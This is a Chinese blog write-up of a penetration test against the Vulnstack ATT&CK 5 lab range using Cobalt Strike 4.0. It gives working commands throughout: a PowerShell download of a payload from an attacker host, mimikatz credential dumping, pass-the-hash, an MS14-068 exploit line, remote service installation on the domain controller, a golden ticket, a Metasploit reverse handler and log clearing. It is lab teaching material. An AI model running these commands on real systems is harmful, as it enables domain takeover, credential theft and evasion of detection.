内网中CobaltStrike4.0(CS4)的渗透之旅

前言

这是老以前做的一个,主要熟悉一下cs4的新特性,还是发出来看看吧,流程简单一些,但是内网流程还是比较完整的。大家可以看看

  • 本次靶机为红日安全的ATT&CK第五个靶场。
  • http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
  • 思路参考 记一次在Vulnstack ATT&CK 5 靶场中使用CobaltStrike的渗透之旅
  • 文章中如有错误的地方望大佬指正。
  • 菜鸡文章望大佬勿喷。

0x00信息收集

Namp 扫一下

发现 80 3306

内网中CobaltStrike4.0(CS4)的渗透之旅_第1张图片

访问一下发现thinkphp5 记得是有rce的

内网中CobaltStrike4.0(CS4)的渗透之旅_第2张图片

searchsploit thinkphp

有货

0x00入口权限获取

内网中CobaltStrike4.0(CS4)的渗透之旅_第3张图片

cool可以用

内网中CobaltStrike4.0(CS4)的渗透之旅_第4张图片

上传的姿势太多了,我就使用一个最简单的

使用powershell 下载 CS payload

powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','C:\phpstudy_pro\WWW\a.ps1')
  

推荐可以直接放到C:\\Windows\\Temp\\里面
C:\\Windows\\Temp\\payload.exe
内网中CobaltStrike4.0(CS4)的渗透之旅_第5张图片

运行 直接上线 调整 sleep 1

内网中CobaltStrike4.0(CS4)的渗透之旅_第6张图片

0x01 提权

权限比较低,需要提权

内网中CobaltStrike4.0(CS4)的渗透之旅_第7张图片

我生成了一个名为Priv Esclistenerpayload:tcp beacon)(建议勾选Bind to localhost only

为什么要勾选呢?作者的话:(反正就是勾选就对了)

内网中CobaltStrike4.0(CS4)的渗透之旅_第8张图片

svc-exe

svc-exe这个参数,并不是和exp提权那样,帮你从普通用户 ”pwn!!“ 一下子拿下系统,而是当管理员权限满足不了你的时候,可以用svc-exe进行提升(类似getsystem命令,但是getsystem不太好使)

内网中CobaltStrike4.0(CS4)的渗透之旅_第9张图片

evelate svc-exe

提权成功

内网中CobaltStrike4.0(CS4)的渗透之旅_第10张图片

0x02 横向移动

切换到高权限用户

通过 explore-Process List 先查看一下进程,看看有没有杀毒软件

???

这个靶机怎么可能有?但是流程还是要走一下的

image-20200326223213666

关闭防火墙

使用命令 netsh advfirewall set allprofiles state off 关闭防火墙

内网中CobaltStrike4.0(CS4)的渗透之旅_第11张图片

内网的信息搜集

网段的端口扫描,得来一下意思意思吧

内网中CobaltStrike4.0(CS4)的渗透之旅_第12张图片

然后查看域的信息

net view /domain
内网中CobaltStrike4.0(CS4)的渗透之旅_第13张图片

还可以用cs4的新增命令

net domain
net domain_controllers
内网中CobaltStrike4.0(CS4)的渗透之旅_第14张图片
老方法
run net config workstation
内网中CobaltStrike4.0(CS4)的渗透之旅_第15张图片

工作站域是 sun.com

可现在登录域是 win7

因此我们需要一个域用户的进程来进行信息搜集

我们需要一个域用户

先调用 Logonpasswords 抓一波密码

内网中CobaltStrike4.0(CS4)的渗透之旅_第16张图片

还可以直观的看一下view- credentials

(因为是靶机,你最好把win7 的账户都登陆一下,否则只能抓到一个账户)

内网中CobaltStrike4.0(CS4)的渗透之旅_第17张图片

那我们拿到了这些凭据如何去调用他们呢?

切换回 本地管理员的beacon上 使用凭证有三种方法

  • 第一种:使用make_token去调用
  • 第二种:使用pth命令生成一个新的进程注入进去
  • 第三种:使用spawn as

第一种:Make_token

Make_token是在当前的 beacon 上进行身份伪造
在当前beacon上,您的权限、权限或标识没有变化。但是,当您与远程资源交互时,使用的是您
伪造的身份.

先本地测试试命令,这个命令本地用户是用不了的,所以我们make_token一个域用户

net group “domain admins” /domain

内网中CobaltStrike4.0(CS4)的渗透之旅_第18张图片

有之前抓取的密码 域用户 leo 123.com

make_token SUN.COM/leo 123.com

#  注意域是SUN  要写成SUN.COM 才可以
内网中CobaltStrike4.0(CS4)的渗透之旅_第19张图片

第二种:使用pth命令生成一个新的进程注入进去

pth SUN.COM\leo NTMLhash
内网中CobaltStrike4.0(CS4)的渗透之旅_第20张图片 内网中CobaltStrike4.0(CS4)的渗透之旅_第21张图片

找到PID

然后steal_token PID 成功执行域命令

steal_token 3860

内网中CobaltStrike4.0(CS4)的渗透之旅_第22张图片

第三种:使用spawn as

spawnas 命令生成具有其他用户凭据的 beacon

用图形化不香吗?

内网中CobaltStrike4.0(CS4)的渗透之旅_第23张图片

内网中CobaltStrike4.0(CS4)的渗透之旅_第24张图片 内网中CobaltStrike4.0(CS4)的渗透之旅_第25张图片

或者命令

spawnas SUN.COM/leo 123.com

第四中 进程注入到域用户的进程中,但必须得是 高权用户

那我使用system权限进入,找到域用户进程

内网中CobaltStrike4.0(CS4)的渗透之旅_第26张图片

就会多出来一个用户的beacon,成功

内网中CobaltStrike4.0(CS4)的渗透之旅_第27张图片

0x03 域内信息收集

有了域用户,那么就可以在域内收集信息

方法太多了,我只简单的介绍CS里面东西

net view
net view sun
内网中CobaltStrike4.0(CS4)的渗透之旅_第28张图片

查看信任域

内网中CobaltStrike4.0(CS4)的渗透之旅_第29张图片

查看域内计算机

内网中CobaltStrike4.0(CS4)的渗透之旅_第30张图片

查看域控

net dclist sun

这是输入sun域就可以,不用 sun.com

内网中CobaltStrike4.0(CS4)的渗透之旅_第31张图片

查看域管理员

Net group \\sun.com domain admin

内网中CobaltStrike4.0(CS4)的渗透之旅_第32张图片

查看所有用户

内网中CobaltStrike4.0(CS4)的渗透之旅_第33张图片

看下sid

内网中CobaltStrike4.0(CS4)的渗透之旅_第34张图片

信息汇总

域管理员默认没有。。。因为我们还要提权操作

域名:sun.com
域管理员:sun\administrator
域用户:administrator,admin,leo和一个krbtgt
域控:DC
域成员:DC,Win7
域控ip:192.168.138.138
用户sid:S-1-5-21-3388020223-1982701712-4030140183-1110
域sid:S-1-5-21-3388020223-1982701712-4030140183
已知凭据:sun\leo:123.com,win7\heart:123.com


域提权

我们利用之前所收集到的信息进行域提权的操作
只能上 ms14-068 域提权一波了

先上传exp

内网中CobaltStrike4.0(CS4)的渗透之旅_第35张图片

生成伪造缓存

shell MS14-068.exe -u leo\@sun.com -p 123.com -s S-1-5-21-3388020223-1982701712-4030140183-1110 -d 192.168.138.138
内网中CobaltStrike4.0(CS4)的渗透之旅_第36张图片

此时会生成[email protected]的伪造缓存文件。

mimikatz kerberos::purge 清空当前机器中所有凭证

mimikatz kerberos::list 查看当前机器凭证

导入伪造缓存前面

内网中CobaltStrike4.0(CS4)的渗透之旅_第37张图片

用mimikaze

mimikatz kerberos::ptc TGT_leo\@sun.com.ccache 将票据注入到内存中

内网中CobaltStrike4.0(CS4)的渗透之旅_第38张图片

成功提取,读取到了数据

内网中CobaltStrike4.0(CS4)的渗透之旅_第39张图片

0x04横向到域控

正向连接

内网中CobaltStrike4.0(CS4)的渗透之旅_第40张图片 内网中CobaltStrike4.0(CS4)的渗透之旅_第41张图片

拿下DC

image-20200327221244226

反向beacon连接

先建立一个listener

内网中CobaltStrike4.0(CS4)的渗透之旅_第42张图片 内网中CobaltStrike4.0(CS4)的渗透之旅_第43张图片

生成一个生成一个 stageless payload ,这里选用的是服务exe

内网中CobaltStrike4.0(CS4)的渗透之旅_第44张图片

选取刚刚的listener

内网中CobaltStrike4.0(CS4)的渗透之旅_第45张图片

生成exe

我起名叫godc.exe

然后访问
\\DC\\C$

upload 上传payload
内网中CobaltStrike4.0(CS4)的渗透之旅_第46张图片

加入注册表

主要这里有个坑
1 是\\ / 这俩要分清
2 还有就是 binpath= “C://”  这尼玛中间有个空格一定不能省略!!!!
binpath=空格“C://”

run sc \\DC create godc binpath= "C:/godc.exe"
内网中CobaltStrike4.0(CS4)的渗透之旅_第47张图片

启动服务

run sc \\DC start godc
内网中CobaltStrike4.0(CS4)的渗透之旅_第48张图片

机子也是反向链接回来的,注意箭头

内网中CobaltStrike4.0(CS4)的渗透之旅_第49张图片

在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link )去连接他。

link操作 只能是smb beacon

所以Leo那个是tcp的不能link操作

也要先调用凭据,远程命令执行
关闭防火墙

remote-exec wmi DC netsh advfirewall set allprofiles state off

0x05 权限维持

黄金票据(golden ticket)

1、首先我们需要先利用 logonpasswords 抓一波明文(在名为DC的Beacon进行操作)

内网中CobaltStrike4.0(CS4)的渗透之旅_第50张图片

2、使用 dcsync 命令导出 krbtgt 的NTLM Hash

内网中CobaltStrike4.0(CS4)的渗透之旅_第51张图片

或者,使用 hashdump 也可以导出hash

内网中CobaltStrike4.0(CS4)的渗透之旅_第52张图片

到手

内网中CobaltStrike4.0(CS4)的渗透之旅_第53张图片

3、为了方便于实践黄金票据

找一个低权限的用户 ls \\DC\C$
要进行对比

image-20200328124712214

制造黄金票据

内网中CobaltStrike4.0(CS4)的渗透之旅_第54张图片

可以运行

内网中CobaltStrike4.0(CS4)的渗透之旅_第55张图片

清除票据

kerberos_ticket_purge

0x06 通道的构建

会话的派生

打开msf监听


msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 
msf5 exploit(multi/handler) > set lhost x.x.x.x
lhost => x.x.x.x
msf5 exploit(multi/handler) > set lport 6668
lport => 6668
msf5 exploit(multi/handler) > run


msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost
set lhost 127.0.0.1 set lhost eth0
set lhost 172.21.0.4 set lhost fe80::5054:ff:fe89:7f0f%eth0
set lhost ::1 set lhost lo
msf5 exploit(multi/handler) > set lhost 49.233.129.171
lhost => 49.233.129.171
msf5 exploit(multi/handler) > set lport 6668
lport => 6668
msf5 exploit(multi/handler) > run

内网中CobaltStrike4.0(CS4)的渗透之旅_第56张图片

CS搭建SOCKS代理都说不稳,所以转到MSF上

0x07清除日志

推荐脚本用奇安信A-Team写的脚本

链接:https://github.com/QAX-A-Team/EventLogMaster

0x08 小结

  • 思路参考 记一次在Vulnstack ATT&CK 5 靶场中使用CobaltStrike的渗透之旅
  • 文章中如有错误的地方望大佬指正。
  • 菜鸡文章望大佬勿喷。

你可能感兴趣的:(内网安全研究)